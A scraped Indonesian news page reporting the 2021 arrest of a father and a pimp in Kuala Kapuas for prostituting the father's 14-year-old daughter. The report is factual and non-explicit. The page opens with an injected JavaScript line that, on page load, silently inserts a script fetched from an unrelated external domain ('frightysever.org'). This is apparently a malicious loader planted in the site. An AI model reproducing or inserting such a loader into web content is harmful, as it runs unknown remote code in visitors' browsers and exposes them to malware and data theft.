(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Seorang remaja yang masih berusia 14 tahun terjaring kasus prostitusi online. Ironisnya, ia mengaku menjadi pekerja seks komersial (PSK) karena dipaksa ayah sendiri.
Polisi mengamankan AS, pria yang diduga menjual anak kandungnya. AS diamankan setelah diduga jadi otak prostitusi anak dibawah umur yang melibatkan putrinya.
Kasus prostitusi online yang melibatkan anak di bawah umur ini dibongkar oleh anggota Kapolres Kapuas, Kalimantan Tengah.
Dalam konferensi pers, Kapolres Kapuas AKBP Manang Soebeti mengungkapkan korban berstatus sebagai pelajar SMP.
Baca juga: Finalisasi Raperda SPBE, Pansus I DPRD Kalsel Agendakan Bertemu Diskominfo Kabupaten/Kota
Sang ayah melibatkan mucikari untuk menawarkan jasa seks anaknya kepada pria hidung belang.
“Jadi ayah korban ini sudah 2 tahun terakhir menjual anak kandungnya sendiri. Anak ini ditawarkan melalui mucikari,” ujar Kapolres Kapuas, Kamis (19/8/2021).
Korban, kata dia, ditawarkan pelaku lewat mucikari berinisial RD, melalui media sosial WhatsApp. RD yang turut diamankan bersama AS merupakan warga Kecamatan Bataguh Kabupaten Kapuas.
“Jika ada yang memesan, mucikari ini bertemu dengan korban yang diantarkan ayahnya ke hotel,” jelasnya.
Kedua pelaku ditangkap pada Selasa (17/8/2021) lalu sekitar pukul 22.05 WIB di kamar salah satu hotel di wilayah kota Kuala Kapuas.
Saat itu, mereka bersama korban tengah menunggu pria hidung belang yang akan datang di kamar hotel.
Kepada polisi, korban mengaku awalnya dipaksa sang ayah. Namun kini korban sudah terbiasa melayani nafsu para lelaki diduga karena faktor ekonomi.
Selain mengamankan kedua pelaku, petugas juga mengamankan sejumlah barang bukti di antaranya, uang tunai sebesar Rp 550 ribu, satu unit handphone, satu unit kendaraan dan kunci kamar hotel.
Atas perbuatan kedua pelaku tersebut, polisi akan menjeratnya dengan pasal 88 Undang-Undang RI nomor 17 tahun 2016 tentang penetapan peraturan pemerintah pengganti UU nomor 1 tahun 2016 tentang perubahan atas UU nomor 35 tahun 2014 tentang perubuhan atas UU RI nomor 23 tahun 2002 tentang perlindungan anak. (Antara/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.